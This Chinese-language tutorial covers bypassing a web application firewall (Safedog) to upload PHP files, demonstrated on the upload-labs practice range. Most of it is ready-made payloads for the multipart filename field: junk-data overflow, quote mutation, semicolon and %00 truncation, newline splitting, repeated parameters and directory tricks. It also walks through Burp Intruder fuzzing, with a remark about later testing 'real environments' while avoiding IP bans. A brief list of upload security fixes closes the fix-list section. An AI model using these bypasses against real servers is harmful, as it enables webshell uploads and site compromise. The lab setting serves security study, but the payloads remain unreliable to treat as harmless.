WEB漏洞-文件上传之 WAF 绕过及安全修复

了解原理之后,尝试使用所学知识进行绕过waf。以及了解文件上传漏洞的安全修复

WEB漏洞-文件上传.png

常见绕过方法

上传参数名解析

  • Content-Disposition:一般可更改
  • name:表单参数值,不能更改
  • filename:文件名,可以更改
  • Content-Type:文件 MIME,视情况更改

数据溢出-防匹配(xxx...)

微信截图_20210614191844.png

符号变异-防匹配(' " ;)

微信截图_20210614193939.png

数据截断-防匹配(%00 ; 换行)

微信截图_20210614194904.png

重复数据-防匹配(参数多次)

微信截图_20210614195724.png

微信截图_20210614200237.png

微信截图_20210614200625.png

微信截图_20210614200733.png

大量垃圾数据缓冲溢出(Content-Disposition,filename 等)

filename=x.php 
filename="x.php 
filename='x.php 
filename="a.jpg;.php"; 
filename="a.php%00.jpg" 
filename="Content-Disposition: form-data; name="upload_file";x.php" filename="x.jpg";filename="x.jpg";.....filename="x.php"; 
filename="xxx/x.jpg" 
filename= 
" 
x 
. 
p 
h 
p 
" 

文件上传安全修复方案

  1. 后端验证:采用服务端验证模式
  2. 后缀检测:基于黑名单,白名单过滤
  3. MIME 检测:基于上传自带类型检测
  4. 内容检测:文件头,完整性检测
  5. 自带函数过滤:参考 uploadlabs 函数
  6. 自定义函数过滤:function check_file(){}
  7. WAF 防护产品:宝塔,云盾,安全公司产品等

涉及资源

WAF绕过简单演示

以靶场upload-labs第二关进行演示。开启安全狗的上传防护

image.png

第2关上传一个php文件,被安全狗检测到且被拦截

image (1).png

php加上空格ph p,可上传,但无法解析

2183445-20210811233026024-1374463406.png

数据溢出

  • filename的内容进行溢出

image (2).png

  • filename的内容进行溢出虽然可以绕过WAF但是无法将php文件上传至服务器

2183445-20210811233819443-1139628418.png

  • name与filename之间进行溢出

image (3).png

  • 可绕过WAF但是无法上传php文件

2183445-20210811234219727-1889730061.png

  • 大量垃圾数据后加;进行分隔Content-Dispositionname之间的垃圾数据加上分号可绕过安全狗

image (4).png

  • 可成功上传php文件

2183445-20210811234945545-1099462512.png

  • namefilename之间的垃圾数据也可绕过

image (5).png

image (6).png

符号变异

可用payload

filename=" xx.php
filename="x x.php
filename=' xx.php
filename='x x.php
  • filename的内容用单引号括起来(被拦截)

image (7).png

  • filename去掉最后一个双引号(被拦截)

image (8).png

  • filename去掉最后一个双引号,再加上分号(上传成功,但后缀不能被解析)

image (9).png

  • filename去掉最后一个双引号,在文件名后缀前任意位置加空格(可绕过WAF,可上传,可行)

image (10).png

  • 单引号与双引号一致,只在末尾加双引号(被拦截)

image (11).png

  • 文件名前加双引号或单引号(无法解析),文件名前加双引号或单引号可绕过waf,也可上传,但是无法解析。

image (12).png

数据截断

可用payload

filename="x.jpg;shell.php"
filename="x.jpg;shell.php
filename='x.jpg;shell.php
filename="shell.php%00xx.jpg" 注意%00要url编码
  • 文件名中加入图片后缀提前用分号截断(可行),原因是防护软件只检测前面的部分,一旦正确就放行,不再检测后面的,前三个payload均可绕过

2183445-20210812002048142-1779515153.png

  • 文件名中用%00url编码截断(可行)

image (13).png

数据换行截断

可用payload

x.ph
p

x.p
h
p

x.
p
h
p

x
.
p
h
p
  • 直接在数据包中进行换行操作(可行)

2183445-20210812003040203-72056609.png

2183445-20210812003118324-1471647223.png

2183445-20210812003154011-2048649098.png

重复数据(参数多次)

  • 重复filename,前面的filename为可接受的文件格式,最后一个为php文件格式,前面的重复多次,可绕过

2183445-20210812003820790-244063659.png

  • filename中,配合其他参数配合Content-Disposition,配合Content-Type

微信截图_20210614200237.png

微信截图_20210614200625.png

配合目录命名绕过

/;配合绕过

filename="/jpeg;x.php"
filename="/jpeg;/x.php"

2183445-20210812004926981-1787548398.png

2183445-20210812004950291-2040222188.png

FUZZ字典配合

手工测试的话有点麻烦,可以借助写好的字典配合BP进行批量测试,先在本地测试,然后在真实环境进行测试,以防封IP

  • 借助fuzzDicts的php字典进行测试,首先将拦截的数据包发送至Intruder

2183445-20210812010412994-416948067.png

  • 清除所有变量

2183445-20210812010449330-971354055.png

  • 将filename的值设置为变量

2183445-20210812010546027-874323976.png

  • payload加载字典

2183445-20210812010714396-1753529684.png

  • 开始攻击,不一定能成功,成败与否的关键是字典的好坏

2183445-20210812010819794-814932064.png